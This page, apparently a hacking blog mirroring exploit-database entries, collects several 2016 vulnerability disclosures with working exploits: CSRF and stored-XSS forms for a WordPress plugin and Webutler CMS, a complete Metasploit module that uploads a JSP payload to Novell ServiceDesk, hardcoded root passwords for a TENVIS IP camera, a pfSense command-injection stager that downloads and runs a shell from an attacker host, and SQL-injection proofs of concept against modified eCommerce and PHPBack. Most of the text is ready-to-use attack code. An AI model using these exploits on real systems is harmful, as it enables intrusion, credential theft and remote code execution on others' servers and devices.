Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287007

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

I would like to disclose  CSRF and stored XSS vulnerability in Kento post view counter plugin version 2.8 .

The vulnerable Fields for XSS are 

    kento_pvc_numbers_lang
    kento_pvc_today_text
    kento_pvc_total_text

The combination of CSRF and XSS in this plugin can lead to huge damage of the website, as the two fields kento_pvc_today_text and kento_pvc_total_text are reflected on all authenticated users as well as non-authenticated user ,all the post have a footer which shows this two parameter reflected in them ,so if an attacker successfully attacks a website almost all the pages on that website will execute the malicious javascript payload on all the clients browsers visiting that website.every user visiting the website will be affected.




The plugin can be found at https://wordpress.org/plugins/kento-post-view-counter/


This CSRF is tested on latest wordpress installation 4.4.2 using firefox browser.  and chrome.


The Code for CSRF.html is 

<html>
  <body>
    <form action="http://targetsite/wp-admin/admin.php?page=kentopvc_settings" method="POST">
      <input type="hidden" name="kentopvc_hidden" value="Y" />
      <input type="hidden" name="option_page" value="kento_pvc_plugin_options" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="_wpnonce" value="" />
      <input type="hidden" name="_wp_http_referer" value="" />
      <input type="hidden" name="kento_pvc_posttype[post]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[page]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[attachment]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[revision]" value="1" />
      <input type="hidden" name="kento_pvc_posttype[nav_menu_item]" value="1" />
      <input type="hidden" name="kento_pvc_numbers_lang" value="" />
      <input type="hidden" name="kento_pvc_today_text" value=""<script>alert(1);</script><img src="b" />
      <input type="hidden" name="kento_pvc_total_text" value="" />
      <input type="hidden" name="Submit" value="Save Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

The Vulnerable page is 

wp-content\plugins\kento-post-view-counter\kento-pvc-admin.php

The code Reponsible for XSS :

if($_POST['kentopvc_hidden'] == 'Y') {
//Form data sent
if(empty($_POST['kento_pvc_hide']))
{
$kento_pvc_hide ="";
}
else
{
$kento_pvc_hide = $_POST['kento_pvc_hide'];
}
update_option('kento_pvc_hide', $kento_pvc_hide);



if(empty($_POST['kento_pvc_posttype']))
{
$kento_pvc_posttype ="";
}
else
{
$kento_pvc_posttype = $_POST['kento_pvc_posttype'];
}
update_option('kento_pvc_posttype', $kento_pvc_posttype);
if(empty($_POST['kento_pvc_uniq']))
{
$kento_pvc_uniq ="";
}
else
{
$kento_pvc_uniq = $_POST['kento_pvc_uniq'];
}
update_option('kento_pvc_uniq', $kento_pvc_uniq);


$kento_pvc_numbers_lang = $_POST['kento_pvc_numbers_lang'];
update_option('kento_pvc_numbers_lang', $kento_pvc_numbers_lang);

$kento_pvc_today_text = $_POST['kento_pvc_today_text'];
update_option('kento_pvc_today_text', $kento_pvc_today_text);

$kento_pvc_total_text = $_POST['kento_pvc_total_text'];
update_option('kento_pvc_total_text', $kento_pvc_total_text);


--------------------------snip-----------------------
------------------snip ------------------------------




<input type="text" size="20" name="kento_pvc_numbers_lang" id="kento-pvc-numbers-lang"   value ="<?php if (isset($kento_pvc_numbers_lang)) echo $kento_pvc_numbers_lang; ?>" placeholder="0,1,2,3,4,5,6,7,8,9"   /><br />**Write numbers in your language as following 0,1,2,3,4,5,6,7,8,9<br />
   Left blank if you are in English.



<tr valign="top">
<th scope="row">Text For Today View</th>
<td style="vertical-align:middle;">

   <input type="text" size="20" name="kento_pvc_today_text" id="kento-pvc-today-text"   value ="<?php if (isset($kento_pvc_today_text)) echo $kento_pvc_today_text; ?>" placeholder="Views Today "   />

</td>
</tr>


<tr valign="top">
<th scope="row">Text For Total View</th>
<td style="vertical-align:middle;">

   <input type="text" size="20" name="kento_pvc_total_text" id="kento-pvc-total-text"   value ="<?php if (isset($kento_pvc_total_text)) echo $kento_pvc_total_text; ?>" placeholder="Total Views "   />

</td>
</tr>



No anti-CSRF token used on this form  :

All though the WordPress sends the _wpnonce value but it does not protect this form against CSRF.


# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
# Twitter: https://twitter.com/cor3sm4sh3r
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ServiceDesk Authenticated File Upload',
      'Description'    => %q{
        This module exploits an authenticated arbitrary file upload via directory traversal
        to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in
        Windows and Linux installations of Novell ServiceDesk, as well as the Virtual
        Appliance provided by Novell.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-1593' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ],
          [ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ]
        ],
      'Platform'    => %w{ linux win },
      'Arch'           => ARCH_X86,
      'DefaultOptions' => { 'WfsDelay' => 15 },
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'Novell ServiceDesk / Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Novell ServiceDesk / Windows',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'Privileged'     => false,  # Privileged on Windows but not on (most) Linux targets
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 30 2016'
    ))

    register_options(
      [
        OptPort.new('RPORT',
          [true, 'The target port', 80]),
        OptString.new('USERNAME',
          [true, 'The username to login as', 'admin']),
        OptString.new('PASSWORD',
          [true, 'Password for the specified username', 'admin']),
        OptString.new('TRAVERSAL_PATH',
          [false, 'Traversal path to tomcat/webapps/LiveTime/'])
      ], self.class)
  end


  def get_version
    res = send_request_cgi({
      'uri'    => normalize_uri('LiveTime','WebObjects','LiveTime.woa'),
      'method' => 'GET',
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      }
    })

    if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/
      return $1.to_f
    else
      return 999
    end
  end


  def check
    version = get_version
    if version <= 7.1 && version >= 6.5
      return Exploit::CheckCode::Appears
    elsif version > 7.1
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def pick_target
    return target if target.name != 'Automatic'

    print_status("#{peer} - Determining target")

    os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}

    traversal_paths = []
    if datastore['TRAVERSAL_PATH']
      traversal_paths << datastore['TRAVERSAL_PATH']    # add user specified or default Virtual Appliance path
    end

    # add Virtual Appliance path plus the traversal in a Windows or Linux self install
    traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/'])

    # test each path to determine OS (and correct path)
    traversal_paths.each do |traversal_path|
      jsp_name = upload_jsp(traversal_path, os_finder_payload)

      res = send_request_cgi({
        'uri'    => normalize_uri('LiveTime', jsp_name),
        'method' => 'GET',
        'headers' => {
          'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
        },
        'cookie' => @cookies
      })

      if res && res.code == 200
        if res.body.to_s =~ /Windows/
          @my_target = targets[2]
        else
          # Linux here
          @my_target = targets[1]
        end
        if traversal_path.include? '/srv/tomcat6/webapps/'
          register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
        else
          register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
        end
        return traversal_path
      end
    end

    return nil
  end


  def upload_jsp(traversal_path, jsp)
    jsp_name  = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp"

    post_data = Rex::MIME::Message.new
    post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"")
    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(@upload_url),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      },
      'cookie' => @cookies,
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if not res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...")
    else
      return jsp_name
    end
  end


  def create_jsp
    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
    payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
    exe = generate_payload_exe(opts)
    base64_exe = Rex::Text.encode_base64(exe)

    native_payload_name = rand_text_alpha(rand(6)+3)
    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

    var_raw     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_buf     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_tmp     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_path    = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_proc2   = Rex::Text.rand_text_alpha(rand(8) + 3)

    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %Q|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |

      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %Q|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod = ''
      cleanup = ''
    end

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
    jsp = jsp.gsub(/\x0d\x0a/, "")
    jsp = jsp.gsub(/\x0a/, "")

    return jsp
  end


  def exploit
    version = get_version

    # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      }
    })

    if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/
      login_url = $2
      @cookies = res.get_cookies
      if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/
        password_form = $1
      else
        # we shouldn't hit this condition at all, this is default for v7+
        password_form = 'password'
      end
      if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/
        username_form = $1
      else
        # we shouldn't hit this condition at all, this is default for v7+
        username_form = 'username'
      end
    else
      fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.")
    end

    # 2: authenticate and get the import_url
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(login_url),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      },
      'cookie' => @cookies,
      'vars_post' => {
        username_form => datastore['USERNAME'],
        password_form => datastore['PASSWORD'],
        'ButtonLogin' => 'Login'
      }
    })

    if res && res.code == 200 &&
      (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
      res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/)   # v6.5
      import_url = $1
    else
      # hmm either the password is wrong or someone else is using "our" account.. .
      # let's try to boot him out
      if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ &&
        res.body.to_s =~ /This account is in use on another system/

        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(login_url),
          'headers' => {
            'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
          },
          'cookie' => @cookies,
          'vars_post' => {
            username_form => datastore['USERNAME'],
            password_form => datastore['PASSWORD'],
            'ButtonLoginOverride' => 'Login'
          }
        })
        if res && res.code == 200 &&
          (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above
          res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/)   # v6.5
          import_url = $1
        else
          fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
        end
      else
        fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.")
      end
    end

    # 3: get the upload_url
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(import_url),
      'headers' => {
        'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
      },
      'cookie' => @cookies,
      'vars_post' => {
        'ButtonImport' => 'Import'
      }
    })

    if res && res.code == 200 &&
      (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ ||                         # v7 and above
      res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5
      @upload_url = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.")
    end

    if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/
      @upload_form = $1
    else
      # go with the default for 7.1.0, might not work with other versions...
      @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23"
    end

    # 4: target selection
    @my_target = nil
    # pick_target returns the traversal_path and sets @my_target
    traversal_path = pick_target
    if @my_target.nil?
      fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
    else
      print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}")
    end

    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end

    # 5: generate the JSP with the payload
    jsp = create_jsp
    print_status("#{peer} - Uploading payload...")
    jsp_name = upload_jsp(traversal_path, jsp)
    if traversal_path.include? '/srv/tomcat6/webapps/'
      register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name)
    else
      register_files_for_cleanup('../webapps/LiveTime/' + jsp_name)
    end

    # 6: pwn it!
    print_status("#{peer} - Requesting #{jsp_name}")
    send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)})

    handler
  end
end
            
Dear OffSec,

Here is the vulnerability detail as I submitted

*# Exploit Title: Webutler CMS Cross-Site Request Forgery*
*# Date: 18 April 2016*
*# Exploit Author: Keerati T. (Post)*
*# Vendor Homepage: http://webutler.de/en <http://webutler.de/en>*
*# Software Link: http://webutler.de/download/webutler_v3.2.zip
<http://webutler.de/download/webutler_v3.2.zip>*
*# Version: 3.2*
*# Tested on: Linux*

*1.Description*
The Webutler is a simple online page editor for static HTML files.
Webmasters can provide a simple login option for image and text editing to
their customers. The Webutler is a tool for websites or projects to be
implemented with a small effort. The project has grown over the years and
now you can do a lot of things with it.
The all of administrative function allow any users to perform HTTP request
without verify the request. This exploit can be performed while the logged
on user (administrator) visit malicious web page that embedded HTML form.


*2. Proof of Concept*
Only change password function PoC, But other function (add page, delete
page, etc..) can be exploited.

<html>
  <body>
    <form action="http://10.0.0.102/webutler/admin/system/save.php"
method="POST">
      <input type="hidden" name="saveuser" value="1" />
      <!-- administrator user name is "root" -->
      <input type="hidden" name="username" value="root" />
      <input type="hidden" name="userpass1" value="111111" />
      <input type="hidden" name="userpass2" value="111111" />
      <input type="hidden" name="userlang" value="en" />
    </form>
  </body>
  <script>document.forms[0].submit();</script>
</html>


*3. Timeline*
11 Apr 2016 - Vulnerability discover.
11 Apr 2016 - No main contact available on vendor web page. Ask related
contact that shown on vendor web page instead.
18 Apr 2016 - No response from related contact and vulnerability disclosed.
            
Exploit Title: TH692- Outdoor P2P HD Waterproof IP Camera hardcoded credentials
Date: 4/16/2016
Exploit Author: DLY
Vendor: TENVIS Technology Co., Ltd
Product: TH692- Outdoor P2P HD Waterproof IP Camera
Product webpage: http://www.tenvis.com/th-692-outdoor-p2p-hd-waterproof-ip-camera-p-230.html
Affected version: TH692C-V. 16.1.16.1.1.4
firmware download link: http://download.tenvis.com/files/updatefiles/UPG_ipc3360a-w7-M20-hi3518-20160229_173554.ov

user: Mroot
pass:cat1029
user:Wproot
pass: cat1029

root@kali:~# strings UPG_ipc3360a-w7-M20-hi3518-20160229_173554.ov.1 | grep root
rootpath
rootfs crc %lx
------------------start upgrade rootfs------------------
------------------end upgrade rootfs------------------
bootargs=mem=74M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:256K(boot),2560K(kernel),11520K(rootfs),1M(config),64K(key),960K(ext)
nfsroot
7root
Bmount -t nfs -o nolock 192.168.0.99:/home/bt/vvvipc_develop/rootfs_target /nfsroot
k01000100    rootbox    nohelp info
root::0:
Mroot:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh
Wproot:$1$d3VPdE0x$Ztn09cyReJy5PynZgwCbw0:0:0::/root:/bin/sh
nfsroot
pivot_root
xswitch_root
chroot
nfsroot
root@kali:~# john --show ipcamhashes
Mroot:cat1029:0:0::/root:/bin/sh
Wproot:cat1029:0:0::/root:/bin/sh

2 password hashes cracked, 0 left
            
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

PfSense Community Edition Multiple Vulnerabilities
Affected versions: PfSense Community Edition <= 2.2.6

PDF:
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

+-----------+
|Description|
+-----------+
The pfSense community edition firewall is vulnerable to multiple
vulnerabilities, including remote code execution via command injection
as an authenticated non-administrative user, stored and reflected
cross-site scripting.

+------------+
|Exploitation|
+------------+
==Command Injection==
The status_rrd_graph_img.php page is vulnerable to command injection via
the graph GET parameter. A non-administrative authenticated attacker
having access privileges to the graph status functionality can inject
arbitrary operating system commands and execute them in the context of
the root user. Although input validation is performed on the graph
parameter through a regular expression filter, the pipe character is not
removed. Octal characters sequences can be used to encode a payload,
bypass the filter for illegal characters, and create a PHP file to
download and execute a malicious file (i.e. reverse shell) from a remote
attacker controlled host.

[Octal-encoded PHP Stager]
stager = (
'echo \'<?php $shell =
file_get_contents("http://[ATTACKER_IP]/shell.elf");' +
'file_put_contents("myshell.elf", $shell);' +
'system("chmod 755 myshell.elf && ./myshell.elf"); ?> \' > shellexec'
)
encoded_stager = ''
for c in stager:
 encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
print encoded_stager

[CSRF POC]
<html>
<head>
  <script>
    function sploit() {
    var query = "database=-throughput.rrd&graph=file|printf
[ENCODED_STAGER]|sh|echo ";
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "https://<target>/status_rrd_graph_img.php?" +
query, true);
    xhr.withCredentials = true;
    xhr.send();
        
    setTimeout(shellexec, 2000);
    }
    
    function shellexec() {
        document.csrf_exploit_exec.submit();
    }
  </script>
</head>
<body onload="sploit();">
  <form name="csrf_exploit_exec"
action="https://<target>/status_rrd_graph_img.php">
      <input type="hidden" name="database" value="-throughput.rrd" />
      <input type="hidden" name="graph" value="file|php shellexec|echo " />
  </form>
</body>
</html>

==Cross-site Scripting==
Multiple instances of stored and reflected cross-scripting
vulnerabilities exist in the web interface of the application. An
authenticated attacker with limited privileges can run arbitrary
JavaScript code in the context of admin users’ session and extend their
access to administrative areas of the application (i.e. command prompt
functionality).

Param   => descr
Method  => POST
URL        => /system_gateways_edit.php
Payload => <script>alert(1)</script>
Render  => /system_gateways_groups_edit.php
Type    => Stored

Param   => container
Method  => POST
URL     => /firewall_shaper_layer7.php
Payload => "><script>alert(1)</script>
Render  => /firewall_shaper_layer7.php
Type    => Reflected

Param   => newname
Method  => POST
URL     => /firewall_shaper_vinterface.php
Payload => "><script>alert(1)</script>
Render  => /firewall_shaper_vinterface.php
Type    => Reflected


+----------+
| Solution |
+----------+
Upgrade to pfSense 2.3. This may be performed in the web interface or
from the console.

+------------+
|  Timeline  |
+------------+
10/02/2016 – Initial disclosure to pfSense.
11/02/2016 – Vendor confirms receipt of advisory and provides fixes.
16/02/1016 – Sent follow up email about public release.
16/02/2016 – Vendor requests advisory disclosure after release of new
software build.
12/04/2016 – Release of patched software build and vendor disclosure of
security advisories.
15/04/2016 – Public disclosure of security advisory.

+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

+------------+
| References |
+------------+
https://www.pfsense.org/security/advisories/pfSense-SA-16_01.webgui.asc
https://www.pfsense.org/security/advisories/pfSense-SA-16_02.webgui.asc
            
# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678
# Date: 16.04.2016
# Category: webapps
# Vendor Homepage: http://www.modified-shop.org/download
# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96
# Version: 2.0.0.0 rev 9678
# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux
# Exploit Author: Felix Maduakor
# Contact: Felix.Maduakor@rub.de
# CVE: CVE-2016-3694

Product Description:
modified eCommerce is an Open Source shopsoftware

Vulnerability Details:
Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php':


File: [shoproot]/api/easybill/easybillcsv.php

[24] 		if (isset($_GET['token']) &&  $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) {
[25-61] 		...
[62]			} else {
[63]					die('Direct Access to this location is not allowed.');

As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN


[35]			if (count($_GET['orders_status']) > 0) {
[36]			$_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']);
[37]			$orders_status = explode(',', $_GET['orders_status']);
[38]			$module->from_orders_status = implode("', '", $orders_status);
[39]			}


[43]			if (isset($_GET['customers_status'])) {
[44]			$_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']);
[45]			$customers_status = explode(',', $_GET['customers_status']);
[46]			$module->from_customers_status = implode("', '", $customers_status);
[47]			}

As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object.

File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php

[63]		$export_query = xtc_db_query("SELECT DISTINCT o.orders_id 
[64]                                    FROM ".TABLE_ORDERS." o
[65]                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
[66]                                      ON o.orders_id = osh.orders_id	
[67]                                   WHERE (o.orders_status IN ('" . $this->from_orders_status . "') 
[68]                                          OR osh.orders_status_id IN ('" . $this->from_orders_status . "'))
[69]                                     AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'
[70]                                          OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')
[71]                                     AND o.customers_status IN ('" . $this->from_customers_status . "')
[72]                                ORDER BY o.orders_id");


The unescaped GET-parameters get placed in the query on line 67, 68 and 71.
Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection.
The injection cannot include whitespaces or commas.

POC [Proof of Concept]:

http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23
Will result in following query and execute the sleep-function for 5 seconds:

SELECT DISTINCT o.orders_id 
                                   FROM ".TABLE_ORDERS." o
                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
                                      ON o.orders_id = osh.orders_id	
                                   WHERE (o.orders_status IN ('-111'))or-sleep(5)/* 
    
                                    long comment
                                         
                                    */#comment
                               ORDER BY o.orders_id

There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be:


http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23




Timeline
-----
[16.04.2016] Reporting vulnerability to vendor
            
/*
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/PHPBACK-v1.3.0-SQL-INJECTION.txt


Vendor:
================
www.phpback.org


Product:
================
PHPBack v1.3.0


Vulnerability Type:
===================
SQL Injection


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection in the 'orderby' parameter.
By sending SQL Injection query using MySQL XPATH function ExtractValue() we can grab information
from the errors generated.

This is useful when we get no output except MySQL errors, we can force data extraction through the error. 
When using ExtractValue() function to generate error, evaluated results of our SQL query will be embedded
in query error message. Adding a colon "0x3a" to the beginning of the query will ensure parsing will always
FAIL generating an error along with our extracted data. This method only works on MySQL version >= 5.1, we can
then use SQL LIMIT function to move thru database informations.


Users should upgrade to v1.3.1
https://github.com/ivandiazwm/phpback/releases


Exploit code(s):
===============

Run from CL...
*/

<?php
error_reporting(0);
#PHPBACK v1.3.0 ORDER BY SQL INJECTION POC
#Credit: hyp3rlinx 
#ISR: apparitionsec
#Site: hyp3rlinx.altervista.org
#///////////////////////////////////////////////////////////////////
#
#run this BOT from CL it does following...
#1) authenticates to target
#2) SQL injection using XPATH query to create error and get output
#   for current MySQL USER(), DATABASE() and VERSION()
#Supported in MySQL >= 5.1 only
#====================================================================

$email=$argv[1];
$pwd=$argv[2];

if($argc<3){
echo "PHPBack 1.3.0 SQL Injection POC\r\n";
echo "Outputs USER(), DATABASE() and VERSION() on XPATH Error!\r\n";
echo "Supported in MySQL >= 5.1 versions only\r\n";
echo "==========================================================\r\n";
echo "Enter Creds: <email> <password>\r\n";
echo "*** by hyp3rlinx *** \r\n";
exit();
}

$target="localhost";
$creds="email=$email&password=$pwd"; 

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);
sock_chk($fp);

#authenticate
    $out = "POST /phpback-1.3.0/action/login HTTP/1.0\r\n";
    $out .= "Host: $target\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($creds) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fwrite($fp, $creds);
$phpsess="";
$res="";
    while (!feof($fp)) {
        $res .= fgets($fp, 128);
if(strpos($res,"\r\n\r\n")!==FALSE){break;}
    }

$sess=get_session($fp);
function get_session($sock){
global $res;
$idx=strpos($res,"PHPSESSID");
$sess=substr($res,$idx,38);
return $sess;
}

#SQL Injection  
$sql="search=1&orderby=title,extractvalue(0x0a,concat(0x0a,(select USER()), 0x0a, (select DATABASE()), 0x0a, (select VERSION())))\r\n";

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);
sock_chk($fp);

    $out = "POST /phpback-1.3.0/admin/ideas HTTP/1.0\r\n";
    $out .= "Host: $target\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
$out .= "Cookie: " . $sess."\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fwrite($fp, $sql);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
function sock_chk(&$fp){
if (!$fp) {echo "Cant connect!";exit();} 
}

?> 


/*
Disclosure Timeline:
=====================================
Vendor Notification: April 17, 2016
Vendor Confirms: April 17, 2016
Vendor Release Fixed Version: April 19, 2016
April 19, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
Medium


Description:
==================================================

Request Method(s):        [+]  POST


Vulnerable Product:       [+] PHPBack v1.3.0


Vulnerable Parameter(s):  [+] 'orderby'

====================================================

